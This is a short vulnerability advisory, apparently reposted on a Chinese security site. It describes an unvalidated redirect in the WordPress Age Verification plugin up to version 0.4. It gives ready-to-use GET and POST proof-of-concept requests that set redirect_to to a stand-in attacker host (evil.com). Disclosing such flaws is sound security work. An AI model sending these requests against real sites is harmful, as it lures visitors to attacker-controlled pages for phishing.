标题: Wordpress Age Verification plugin <= 0.4 Open Redirect 作者: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/) 下载 地址: http://downloads.wordpress.org/plugin/age-verification.zip 影响版本: 0.4 1) Via GET: http://www.2cto.com /wp-content/plugins/age-verification/age-verification.php?redirect_to=http%3A%2F%2Fwww.evil.com The rendered page will provide a link to http://www.evil.com 2) Via POST: http://www.2cto.com /wp-content/plugins/age-verification/age-verification.php redirect_to: http://www.evil.com age_day: 1 age_month: 1 age_year: 1970 Direct redirect to http://www.evil.com 未验证跳转
查看更多关于Wordpress插件Age Verification<= 0.4未验证跳转 - 网站的详细内容...